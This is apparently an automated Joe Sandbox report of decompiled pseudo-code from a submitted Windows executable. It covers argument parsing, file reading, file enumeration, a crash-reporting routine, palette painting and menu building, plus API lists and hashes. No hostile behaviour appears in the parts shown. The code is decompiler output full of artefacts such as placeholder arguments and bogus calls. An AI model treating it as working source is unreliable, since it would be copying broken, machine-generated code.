												__eflags =  *0xb34920;
												if( *0xb34920 == 0) {
													L23:
													_v16 = 1;
												} else {
													goto L21;
												}
											}
										} else {
											_v16 = 1;
										}
									}
								} else {
									 *0xb34920 = 1;
									 *0xb34924 = 1;
									_v20 = 1;
									goto L47;
								}
							} else {
								_v20 = 1;
								L47:
								_v68 = _v68 + 1;
								continue;
							}
							goto L72;
						}
						__eflags =  *0xb34914;
						if( *0xb34914 != 0) {
							__eflags = _v24;
							if(_v24 == 0) {
								_v24 = 0x50;
							}
							__eflags = _v28;
							if(__eflags == 0) {
								_v28 = 0x96;
							}
							 *_t407 = 0xb34914;
							_v176 = 1;
							_v172 = _v24;
							_v168 = _v28;
							_t262 = E00B12080(__eflags);
							_t408 = _t407 - 0x10;
							 *0xb3491c = _t262;
							__eflags = _t262;
							if(_t262 != 0) {
								__eflags = _v20;
								if(_v20 == 0) {
									 *_t408 = 0xb34914;
									_t264 = E00B123E0(0);
									_t409 = _t408 - 4;
									__eflags = _t264;
									if(_t264 != 0) {
										 *_t409 =  &_v144;
										GetStartupInfoW(??);
										_t410 = _t409 - 4;
										 *_t410 = _v132;
										_t267 = E00B21219();
										 *_t410 = 0xb34914;
										_v176 = _v132;
										_v172 = _t267 << 1;
										E00B12750();
										_t411 = _t410 - 0xc;
										__eflags = _v100 & 0x00000001;
										if((_v100 & 0x00000001) == 0) {
											_v148 = 5;
										} else {
											_v148 = _v96 & 0x0000ffff;
										}
										_t350 =  *0xb349bc; // 0x0
										 *_t411 = _t350;
										_v176 = _v148;
										ShowWindow(??, ??);
										_t412 = _t411 - 8;
										goto L71;
									} else {
										_v16 = 1;
									}
								} else {
									 *_t408 = 0xfffffff6;
									_t279 = GetStdHandle(??);
									_t414 = _t408 - 4;
									 *0xb349c4 = _t279;
									 *_t414 = 0xfffffff5;
									_t280 = GetStdHandle(??);
									_t412 = _t414 - 4;
									 *0xb349c8 = _t280;
									__eflags =  *0xb349c4;
									if( *0xb349c4 != 0) {
										L59:
										 *_t412 = 0xb34914;
										E00B122B0();
										_t412 = _t412 - 4;
										__eflags =  *0xb34920;
										if( *0xb34920 != 0) {
											L62:
											goto L64;
										} else {
											 *_t412 = 0xb34914;
											_t284 = E00B12340();
											_t412 = _t412 - 4;
											__eflags = _t284;
											if(_t284 != 0) {
												goto L62;
											} else {
												_v16 = 1;
											}
										}
									} else {
										__eflags =  *0xb349c8;
										if( *0xb349c8 == 0) {
											 *0xb34928 = 1;
											L64:
											L71:
											 *_t412 = 0xb34914;
											_v176 = _v32;
											_v16 = E00B12980();
										} else {
											goto L59;
										}
									}
								}
							} else {
								_v16 = 1;
							}
						} else {
							_v16 = 1;
						}
					} else {
						_v16 = 1;
					}
				} else {
					_v16 = 0;
				}
				L72:
				return _v16;
			}

0x00b118e7
0x00b118ee
0x00b118f5
0x00b118fc
0x00b11903
0x00b1190a
0x00b11911
0x00b11918
0x00b1191f
0x00b11926
0x00b11932
0x00b11939
0x00b11961
0x00b119a7
0x00b119c3
0x00b119ef
0x00b119fe
0x00b11a17
0x00b11a1d
0x00b11a20
0x00b11a2c
0x00b11a3c
0x00b11a4f
0x00b11a62
0x00b11a71
0x00b11a81
0x00b11a94
0x00b11aa3
0x00b11ab2
0x00b11ac1
0x00b11aca
0x00b11ad0
0x00b11ad3
0x00000000
0x00000000
0x00b11ad9
0x00b11ae1
0x00b11ae3
0x00b11ae6
0x00b11aee
0x00b11af4
0x00b11afa
0x00b11afd
0x00b11b02
0x00b11b09
0x00b11b0c
0x00b11b0f
0x00000000
0x00000000
0x00b11b15
0x00b11b25
0x00b11b25
0x00b11b2d
0x00b11b33
0x00b11b38
0x00b11b3d
0x00b11b47
0x00b11b4c
0x00b11b4f
0x00b11b57
0x00b11b5c
0x00b11b61
0x00b11b64
0x00b11b76
0x00b11b7d
0x00b11b80
0x00b11b83
0x00000000
0x00000000
0x00b11b99
0x00b11b9c
0x00b11ba0
0x00b11ba5
0x00b11ba8
0x00b11bca
0x00b11bcd
0x00b11bd1
0x00b11bd6
0x00b11bd9
0x00b11c0f
0x00b11c12
0x00b11c16
0x00b11c1b
0x00b11c1e
0x00b11cbc
0x00b11cbf
0x00b11cc3
0x00b11cc8
0x00b11ccb
0x00b11d69
0x00b11d6c
0x00b11d70
0x00b11d75
0x00b11d78
0x00b11df0
0x00b11df3
0x00b11df7
0x00b11dfc
0x00b11dff
0x00b11e69
0x00b11e05
0x00b11e08
0x00b11e0b
0x00b11e0e
0x00b11e11
0x00b11e32
0x00b11e35
0x00b11e39
0x00b11e46
0x00b11e4e
0x00b11e52
0x00000000
0x00b11e58
0x00b11e58
0x00b11e58
0x00b11e17
0x00b11e17
0x00b11e17
0x00b11e11
0x00b11d7e
0x00b11d81
0x00b11d84
0x00b11d87
0x00b11d8a
0x00b11dab
0x00b11dae
0x00b11db2
0x00b11dbf
0x00b11dc5
0x00b11dc9
0x00000000
0x00b11dcf
0x00b11dcf
0x00b11dcf
0x00b11d90
0x00b11d90
0x00b11d90
0x00b11d8a
0x00b11cd1
0x00b11cd4
0x00b11cd7
0x00b11cda
0x00b11cdd
0x00b11cfe
0x00b11d01
0x00b11d05
0x00b11d12
0x00b11d15
0x00b11d19
0x00b11d2c
0x00b11d2c
0x00b11d33
0x00000000
0x00b11d39
0x00b11d3f
0x00b11d42
0x00000000
0x00000000
0x00000000
0x00000000
0x00b11d42
0x00b11d1f
0x00b11d1f
0x00b11d26
0x00b11d48
0x00b11d48
0x00000000
0x00000000
0x00000000
0x00b11d26
0x00b11ce3
0x00b11ce3
0x00b11ce3
0x00b11cdd
0x00b11c24
0x00b11c27
0x00b11c2a
0x00b11c2d
0x00b11c30
0x00b11c51
0x00b11c54
0x00b11c58
0x00b11c65
0x00b11c68
0x00b11c6c
0x00b11c7f
0x00b11c7f
0x00b11c86
0x00000000
0x00b11c8c
0x00b11c92
0x00b11c95
0x00000000
0x00000000
0x00000000
0x00000000
0x00b11c95
0x00b11c72
0x00b11c72
0x00b11c79
0x00b11c9b
0x00b11c9b
0x00000000
0x00000000
0x00000000
0x00b11c79
0x00b11c36
0x00b11c36
0x00b11c36
0x00b11c30
0x00b11bdf
0x00b11bdf
0x00b11be9
0x00b11bf3
0x00000000
0x00b11bf3
0x00b11bae
0x00b11bae
0x00b11e75
0x00b11e7b
0x00000000
0x00b11e7b
0x00000000
0x00b11ba8
0x00b11e83
0x00b11e8a
0x00b11e9c
0x00b11ea0
0x00b11ea6
0x00b11ea6
0x00b11ead
0x00b11eb1
0x00b11eb7
0x00b11eb7
0x00b11eca
0x00b11ecd
0x00b11ed5
0x00b11ed9
0x00b11edd
0x00b11ee2
0x00b11ee5
0x00b11eea
0x00b11eed
0x00b11eff
0x00b11f03
0x00b11fab
0x00b11fae
0x00b11fb3
0x00b11fb6
0x00b11fb9
0x00b11fd1
0x00b11fd4
0x00b11fda
0x00b11fe0
0x00b11fe3
0x00b11ff4
0x00b11ff7
0x00b11ffb
0x00b11fff
0x00b12004
0x00b1200d
0x00b12010
0x00b1202a
0x00b12016
0x00b1201a
0x00b1201a
0x00b1203b
0x00b12041
0x00b12044
0x00b12048
0x00b1204e
0x00000000
0x00b11fbf
0x00b11fbf
0x00b11fbf
0x00b11f09
0x00b11f09
0x00b11f10
0x00b11f16
0x00b11f19
0x00b11f1e
0x00b11f25
0x00b11f2b
0x00b11f2e
0x00b11f33
0x00b11f3a
0x00b11f4d
0x00b11f53
0x00b11f56
0x00b11f5b
0x00b11f5e
0x00b11f65
0x00b11f91
0x00000000
0x00b11f6b
0x00b11f71
0x00b11f74
0x00b11f79
0x00b11f7c
0x00b11f7f
0x00000000
0x00b11f85
0x00b11f85
0x00b11f85
0x00b11f7f
0x00b11f40
0x00b11f40
0x00b11f47
0x00b11f96
0x00b11fa0
0x00b12051
0x00b1205a
0x00b1205d
0x00b12069
0x00000000
0x00000000
0x00000000
0x00b11f47
0x00b11f3a
0x00b11ef3
0x00b11ef3
0x00b11ef3
0x00b11e90
0x00b11e90
0x00b11e90
0x00b11b6a
0x00b11b6a
0x00b11b6a
0x00b1193f
0x00b1193f
0x00b1193f
0x00b1206c
0x00b12078

APIs

CreateFileW.KERNEL32 ref: 00B1199E
GetFileSize.KERNEL32 ref: 00B119BA
VirtualAlloc.KERNEL32 ref: 00B119E6
ReadFile.KERNEL32 ref: 00B11A17

Strings

--height, xrefs: 00B11CB6
--width, xrefs: 00B11C09
P, xrefs: 00B11EA6
--server, xrefs: 00B11DEA
--signal, xrefs: 00B11D63
@, xrefs: 00B119DE
--headless, xrefs: 00B11B93
--unix, xrefs: 00B11BC4
T, xrefs: 00B11951

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: File$AllocCreateReadSizeVirtual
String ID: --headless$--height$--server$--signal$--unix$--width$@$P$T
API String ID: 4119528295-967118136
Opcode ID: 19c907f5a0b3aa7b1ec6225ffca2f38f174c748eaa55cf8766351e608b9724dd
Instruction ID: 22302183b55aa192aef797c274213b843b500ec893bfa0413a7b07481166a02b
Opcode Fuzzy Hash: 19c907f5a0b3aa7b1ec6225ffca2f38f174c748eaa55cf8766351e608b9724dd
Instruction Fuzzy Hash: 8A220670809218CFDB10DFA8D588BADBBF0FF48304F5089ADE845AB291DB759995CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00B25347 Relevance: 6.1, APIs: 4, Instructions: 129
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00B25347(WCHAR* _a4, signed int _a8, char* _a12) {
				signed int _v8;
				short _v552;
				short _v554;
				struct _WIN32_FIND_DATAW _v600;
				char _v601;
				signed int _v608;
				signed int _v612;
				intOrPtr _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t30;
				signed char _t32;
				void* _t41;
				intOrPtr _t43;
				intOrPtr _t45;
				int _t48;
				signed int* _t59;
				char* _t60;
				WCHAR* _t68;
				signed int _t70;
				void* _t71;

				_t30 =  *0xb34050; // 0xbb40e64e
				_v8 = _t30 ^ _t70;
				_t65 = _a8;
				_t60 = _a12;
				_t68 = _a4;
				_v608 = _t60;
				if(_t65 != _t68) {
					while(E00B254BD( *_t65 & 0x0000ffff) == 0) {
						_t65 = _t65 - 2;
						if(_t65 != _t68) {
							continue;
						}
						break;
					}
					_t60 = _v608;
				}
				_t69 =  *_t65 & 0x0000ffff;
				if(( *_t65 & 0x0000ffff) != 0x3a) {
					L8:
					_t60 =  &_v601;
					_t32 = E00B254BD(_t69);
					_t65 = (_t65 - _t68 >> 1) + 1;
					asm("sbb eax, eax");
					_t59 = 0;
					_v612 =  ~(_t32 & 0x000000ff) & _t65;
					_t69 = FindFirstFileExW(_t68, 0,  &_v600, 0, 0, 0);
					if(_t69 != 0xffffffff) {
						_t59 = _v608;
						_v608 = _t59[1] -  *_t59 >> 2;
						_t41 = 0x2e;
						do {
							if(_v600.cFileName != _t41 || _v554 != 0 && (_v554 != _t41 || _v552 != 0)) {
								_push(_t59);
								_t43 = E00B25293(_t60,  &(_v600.cFileName), _t68, _v612);
								_t71 = _t71 + 0x10;
								_v616 = _t43;
								if(_t43 != 0) {
									FindClose(_t69);
									_t45 = _v616;
								} else {
									goto L16;
								}
							} else {
								goto L16;
							}
							goto L21;
							L16:
							_t48 = FindNextFileW(_t69,  &_v600);
							_t41 = 0x2e;
						} while (_t48 != 0);
						_t65 =  *_t59;
						_t63 = _v608;
						_t51 = _t59[1] -  *_t59 >> 2;
						if(_v608 != _t59[1] -  *_t59 >> 2) {
							E00B280B0(_t65, _t65 + _t63 * 4, _t51 - _t63, 4, E00B254E1);
						}
						FindClose(_t69);
						_t45 = 0;
					} else {
						_push(_v608);
						goto L7;
					}
				} else {
					_t8 =  &(_t68[1]); // 0x2
					if(_t65 == _t8) {
						goto L8;
					} else {
						_push(_t60);
						_t59 = 0;
						L7:
						_t45 = E00B25293(_t60, _t68, _t59, _t59);
					}
				}
				L21:
				return E00B1DB25(_t45, _t59, _v8 ^ _t70, _t65, _t68, _t69);
			}

APIs

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B253E2
FindNextFileW.KERNEL32(00000000,?), ref: 00B2545D
FindClose.KERNEL32(00000000), ref: 00B2547F
FindClose.KERNEL32(00000000), ref: 00B254A2

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: b2304af92319fcb0ce3991e0d846fd50eadd60316be8c8ecf029de1ab0df6db8
Instruction ID: 50e4f1f5ef63a87805db371edfdb36c42f34ce19a56395bd95fd6ec0fb883604
Opcode Fuzzy Hash: b2304af92319fcb0ce3991e0d846fd50eadd60316be8c8ecf029de1ab0df6db8
Instruction Fuzzy Hash: D741D371901939AEDB30EF68ED88ABEB3F9EB84355F1041D5E41997244EB309EC08B64

Uniqueness

Uniqueness Score: -1.00%

Function 00B1D72C Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00B1D72C(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E00B1D6A0(_t34);
				 *_t60 = 0x2cc;
				_v632 = E00B1FC30(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E00B1FC30(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E00B1D6A0(_t49);
				}
				return _t49;
			}

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00B1D738
IsDebuggerPresent.KERNEL32 ref: 00B1D804
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B1D824
UnhandledExceptionFilter.KERNEL32(?), ref: 00B1D82E

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 2c2784d2ecf431b48aa1493d6e8a09912a790838d45e40f36d11ef52c3a37237
Instruction ID: 848ec15288b6de2e631a85e1eaac00ea143c5a18797a0a4d525b96d4d5696a9a
Opcode Fuzzy Hash: 2c2784d2ecf431b48aa1493d6e8a09912a790838d45e40f36d11ef52c3a37237
Instruction Fuzzy Hash: D6311675D4521C9BDB10EFA8D989BCDBBF8AF08304F5040EAE40DAB250EB709A85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00B1BF30 Relevance: 42.3, APIs: 28, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00B1BF30(struct HWND__* _a4, int _a8, int _a12, signed int _a16) {
				long _v12;
				long _v16;
				struct tagPAINTSTRUCT _v80;
				struct tagRECT _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				void* _v124;
				void* _v128;
				intOrPtr _v132;
				long _v136;
				signed int _v140;
				void* _v144;
				struct tagRECT _v156;
				intOrPtr _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				void* _v176;
				void* _v180;
				void* _v184;
				signed int* _v188;
				void* _v204;
				RECT* _v208;
				intOrPtr _v212;
				signed int _v216;
				signed int _v228;
				signed int _v232;
				signed int _v240;
				intOrPtr _v244;
				void* _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v276;
				signed int _v280;
				void* _v292;
				void* _v296;
				int _t176;
				long _t186;
				struct HBRUSH__* _t208;
				long _t214;
				void* _t218;
				intOrPtr _t236;
				void* _t245;
				void* _t326;
				struct HDC__** _t330;
				struct HDC__** _t332;
				struct HDC__** _t336;
				struct HDC__** _t337;
				struct HDC__** _t338;
				struct HDC__** _t341;
				struct HDC__** _t342;
				void* _t343;
				struct HDC__** _t344;

				_t176 = _a8;
				_v160 = _t176;
				if(_t176 == 0xf) {
					BeginPaint(_a4,  &_v80);
					GetClientRect(_a4,  &_v96);
					asm("cdq");
					_v120 = _v96.right / 8;
					_t186 = GetWindowLongW(GetParent(_a4), 8);
					_t330 = _t326 - 0xfffffffffffffff4;
					_v16 = _t186;
					_v116 = 0;
					while(_v116 < 0x10) {
						asm("cdq");
						_v168 = _v116 / 8;
						asm("cdq");
						_v108 = _v168 * _v96.bottom / 2;
						_v164 = _v108;
						asm("cdq");
						_v100 = _v164 + _v96.bottom / 2;
						_v112 = (_v116 & 0x00000007) * _v120;
						_v104 = _v112 + _v120;
						_t208 = CreateSolidBrush( *(_v16 + 4 + _v116 * 4));
						_t332 = _t330 - 4;
						_v124 = _t208;
						 *_t332 = _v80.hdc;
						_v188 =  &_v112;
						_v184 = _v124;
						FillRect(??, ??, ??);
						DeleteObject(_v124);
						_t214 = GetWindowLongW(_a4, 0);
						_t330 = _t332;
						if(_t214 == _v116) {
							_v132 = 2;
							_t218 = SelectObject(_v80.hdc, GetStockObject(6));
							_t336 = _t330 - 0xfffffffffffffffc;
							_v128 = _t218;
							_v104 = _v104 + 0xffffffff;
							_v100 = _v100 + 0xffffffff;
							while(1) {
								 *_t336 = _v80.hdc;
								_v216 = _v112;
								_v212 = _v100;
								_v208 = 0;
								MoveToEx(??, ??, ??, ??);
								_t337 = _t336 - 0x10;
								 *_t337 = _v80.hdc;
								_v232 = _v112;
								_v228 = _v108;
								LineTo(??, ??, ??);
								_t338 = _t337 - 0xc;
								 *_t338 = _v80.hdc;
								_v244 = _v104;
								_v240 = _v108;
								LineTo(??, ??, ??);
								SelectObject(_v80.hdc, GetStockObject(7));
								_t341 = _t338;
								 *_t341 = _v80.hdc;
								_v268 = _v104;
								_v264 = _v100;
								LineTo(??, ??, ??);
								_t342 = _t341 - 0xc;
								 *_t342 = _v80.hdc;
								_v280 = _v112;
								_v276 = _v100;
								LineTo(??, ??, ??);
								_t343 = _t342 - 0xc;
								_t236 = _v132 + 0xffffffff;
								_v132 = _t236;
								if(_t236 == 0) {
									break;
								}
								_v112 = _v112 + 1;
								_v108 = _v108 + 1;
								_v104 = _v104 + 0xffffffff;
								_v100 = _v100 + 0xffffffff;
								_t245 = GetStockObject(6);
								_t344 = _t343 - 4;
								 *_t344 = _v80.hdc;
								_v296 = _t245;
								SelectObject(??, ??);
								_t336 = _t344 - 8;
							}
							SelectObject(_v80, _v128);
							_t330 = _t343 - 8;
						}
						_v116 = _v116 + 1;
					}
					EndPaint(_a4,  &_v80);
					goto L17;
				} else {
					if(_v160 == 0x201) {
						GetClientRect(_a4,  &_v156);
						asm("cdq");
						_v140 = _v156.right / 8;
						_v172 = _a16 >> 0x00000010 & 0xffff;
						asm("cdq");
						_t262 =  >=  ? 8 : 0;
						_v136 =  >=  ? 8 : 0;
						asm("cdq");
						_v136 = (_a16 & 0xffff) / _v140 + _v136;
						SetWindowLongW(_a4, 0, _v136);
						InvalidateRect(GetDlgItem(GetParent(_a4), 0x206), 0, 0);
						InvalidateRect(_a4, 0, 0);
						L17:
						_v12 = 0;
					} else {
						_v12 = DefWindowProcW(_a4, _a8, _a12, _a16);
					}
				}
				return _v12;
			}

APIs

BeginPaint.USER32 ref: 00B1BF80
GetClientRect.USER32 ref: 00B1BF96
GetParent.USER32 ref: 00B1BFB3
GetWindowLongW.USER32 ref: 00B1BFC7
CreateSolidBrush.GDI32 ref: 00B1C052
FillRect.USER32 ref: 00B1C072
DeleteObject.GDI32 ref: 00B1C081
GetWindowLongW.USER32 ref: 00B1C09A
GetStockObject.GDI32 ref: 00B1C0BA
SelectObject.GDI32 ref: 00B1C0CD
GetClientRect.USER32 ref: 00B1C260
SetWindowLongW.USER32 ref: 00B1C2F1
GetParent.USER32 ref: 00B1C300
GetDlgItem.USER32 ref: 00B1C314
InvalidateRect.USER32 ref: 00B1C332
InvalidateRect.USER32 ref: 00B1C353
DefWindowProcW.USER32 ref: 00B1C37C

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: Rect$Window$LongObject$ClientInvalidateParent$BeginBrushCreateDeleteFillItemPaintProcSelectSolidStock
String ID:
API String ID: 88183673-0
Opcode ID: fc267d4952ad0f2efcd7e8d8740b12dc93e2ed3a74eb4603dbcac7476299d87b
Instruction ID: bb6d82cca0f0a7bb85f95a4386a2221fbdd94319ed0e82db42415277c7912078
Opcode Fuzzy Hash: fc267d4952ad0f2efcd7e8d8740b12dc93e2ed3a74eb4603dbcac7476299d87b
Instruction Fuzzy Hash: 8BD16EB59043189FCB14EFACD58969DBBF1BB48300F20896DE899EB350DB349994CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00B1AE30 Relevance: 31.7, APIs: 21, Instructions: 226
windowCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00B1AE30(struct HMENU__* _a4, intOrPtr _a8) {
				int _v8;
				struct HINSTANCE__* _v12;
				struct HMENU__* _v16;
				short _v528;
				void* _v536;
				void* _v540;
				void* _v544;
				int _v548;
				int _v552;
				int _v556;
				int _v560;
				int _v564;
				int _v568;
				int _v572;
				WCHAR* _v576;
				int _v580;
				struct HINSTANCE__* _t129;
				int _t131;
				int _t135;
				int _t139;
				int _t143;
				int _t147;
				int _t151;
				int _t155;
				int _t159;
				int _t163;
				void* _t199;
				void* _t200;
				void* _t218;
				struct HINSTANCE__** _t225;
				struct HMENU__** _t226;

				_t129 = GetModuleHandleW(0);
				_t200 = _t199 - 4;
				_v12 = _t129;
				if(_a4 != 0) {
					_v16 = CreateMenu();
					if(_v16 != 0) {
						_t131 =  &_v528;
						_v548 = _t131;
						0x710000();
						LoadStringW(_v12, 0x110,  &_v528, _t131);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x110,  &_v528);
						_t135 =  &_v528;
						_v552 = _t135;
						0x710000();
						LoadStringW(_v12, 0x111,  &_v528, _t135);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x111,  &_v528);
						_t139 =  &_v528;
						_v556 = _t139;
						0x710000();
						LoadStringW(_v12, 0x112,  &_v528, _t139);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x112,  &_v528);
						_t143 =  &_v528;
						_v560 = _t143;
						0x710000();
						LoadStringW(_v12, 0x113,  &_v528, _t143);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x113,  &_v528);
						_t147 =  &_v528;
						_v564 = _t147;
						0x710000();
						LoadStringW(_v12, 0x114,  &_v528, _t147);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x114,  &_v528);
						_t151 =  &_v528;
						_v568 = _t151;
						0x710000();
						LoadStringW(_v12, 0x115,  &_v528, _t151);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x115,  &_v528);
						_t218 = _t200 - 0xffffffffffffff18;
						if(_a8 != 0) {
							InsertMenuW(_a4, 0xffffffff, 0xc00, 0, 0);
							_t218 = _t218 - 0x14;
						}
						_t155 =  &_v528;
						_v572 = _t155;
						0x710000();
						LoadStringW(_v12, 0x100,  &_v528, _t155);
						InsertMenuW(_a4, 0xffffffff, 0x410, _v16,  &_v528);
						_t159 =  &_v528;
						_v576 = _t159;
						0x710000();
						LoadStringW(_v12, 0x101,  &_v528, _t159);
						InsertMenuW(_a4, 0xffffffff, 0x400, 0x101,  &_v528);
						_t163 =  &_v528;
						_v580 = _t163;
						0x710000();
						_t225 = _t218 - 0xffffffffffffffb4;
						 *_t225 = _v12;
						_v580 = 0x102;
						_v576 =  &_v528;
						_v572 = _t163;
						LoadStringW(??, ??, ??, ??);
						_t226 = _t225 - 0x10;
						 *_t226 = _a4;
						_v580 = 0xffffffff;
						_v576 = 0x400;
						_v572 = 0x102;
						_v568 =  &_v528;
						InsertMenuW(??, ??, ??, ??, ??);
						_t200 = _t226 - 0x14;
						_v8 = 1;
					} else {
						_v8 = 0;
					}
				} else {
					_v8 = 0;
				}
				return _v8;
			}

APIs

GetModuleHandleW.KERNEL32 ref: 00B1AE48
CreateMenu.USER32 ref: 00B1AE6A

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: CreateHandleMenuModule
String ID:
API String ID: 4123625242-0
Opcode ID: 76a04c0e59038a697f5b9bd5c3a50ca937efec981bb2bd9394da02383be21dd4
Instruction ID: 45060000b88b4b4334477f7fa6110d8ddb29ca0b5ddac1d42a4480dc5aea9d93
Opcode Fuzzy Hash: 76a04c0e59038a697f5b9bd5c3a50ca937efec981bb2bd9394da02383be21dd4
Instruction Fuzzy Hash: 64C1B4B48083189FD714EF68D44969EBBF4FB44310F10CA6DE8A997395DB789688CF42

Uniqueness

Uniqueness Score: -1.00%

Function 00B1BCD2 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00B1BCD8
GetWindowLongW.USER32 ref: 00B1BCEC
BeginPaint.USER32 ref: 00B1BD05
GetWindowLongW.USER32 ref: 00B1BD1E
SelectObject.GDI32 ref: 00B1BD41

Part of subcall function 00B1C460: GetDlgItem.USER32 ref: 00B1C47F
Part of subcall function 00B1C460: GetWindowLongW.USER32 ref: 00B1C495

CreateSolidBrush.GDI32 ref: 00B1BD6C
FillRect.USER32 ref: 00B1BD89
SetBkColor.GDI32 ref: 00B1BD9F
SetTextColor.GDI32 ref: 00B1BDC8
GetModuleHandleW.KERNEL32 ref: 00B1BDFD
LoadStringW.USER32 ref: 00B1BE27
TextOutW.GDI32 ref: 00B1BE6F
